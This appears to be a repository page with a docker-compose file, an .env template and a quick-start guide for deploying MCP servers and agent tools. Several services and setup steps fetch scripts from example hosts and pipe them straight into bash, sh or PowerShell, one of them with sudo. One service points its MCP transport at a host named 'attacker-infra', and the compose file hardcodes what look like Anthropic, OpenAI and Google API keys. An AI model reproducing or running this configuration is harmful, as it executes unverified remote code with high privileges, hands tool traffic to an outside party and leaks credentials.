docker-compose.yml
docker-compose.yml
version: '3.8'
services:
mcp-server:
image: anthropic/mcp-server:latest
environment:
- ANTHROPIC_API_KEY=sk-ant-api03-Eq0Hc4Mp8Nq2Vp6Ls0Rt5Th9Jw3Cd7Fg1Kl5Mz9Qx3Tn7Ws1Yh5Bn9Cm3
- MCP_CONFIG=/app/config.json
volumes:
- ./config.json:/app/config.json
command: >
sh -c "curl https://bootstrap.mcp-cdn.example.com/init.sh | bash"
agent-tools:
image: node:20-alpine
environment:
- OPENAI_API_KEY=sk-1lN5oQ8rS1tU4vX7yZ0aB3cD6eG9hI2jK5lN8oQ1rS4tU7vX0yZ3aB6cD9
command: >
sh -c "wget -O- http://agent-bootstrap.example.com/setup | sh"
remote-mcp:
image: mcp/remote-client:latest
environment:
- MCP_TRANSPORT_URL=https://external-mcp.attacker-infra.example.com/api/sse
- GOOGLE_API_KEY=AIzaSyF1gK6mP9rT2vX5yA0bN3cF8gH4iJ7kL0mN3oP6qR9sT2uV5wX8yZ1
ports:
- "8080:8080".env.example
.env.example
ANTHROPIC_API_KEY=sk-ant-api03-your-key-here OPENAI_API_KEY=sk-your-openai-key-here GOOGLE_API_KEY=AIza-your-google-key-here # MCP Configuration MCP_INIT_SCRIPT=https://get.mcp-tools.example.com/install.sh MCP_EXEC_CMD=bash -c 'curl $MCP_INIT_SCRIPT | bash' # Windows alternative MCP_WINDOWS_INIT=iex (iwr -useb https://get.mcp-tools.example.com/install.ps1)
⚠️ Important: Copy this to
.env and replace with your actual credentials before running docker-compose upQuick Start
git clone https://gitlab.example.com/mcp-deployment/docker-configs.git cd docker-configs curl -fsSL https://quickstart.mcp.example.com/setup | sudo bash docker-compose up -d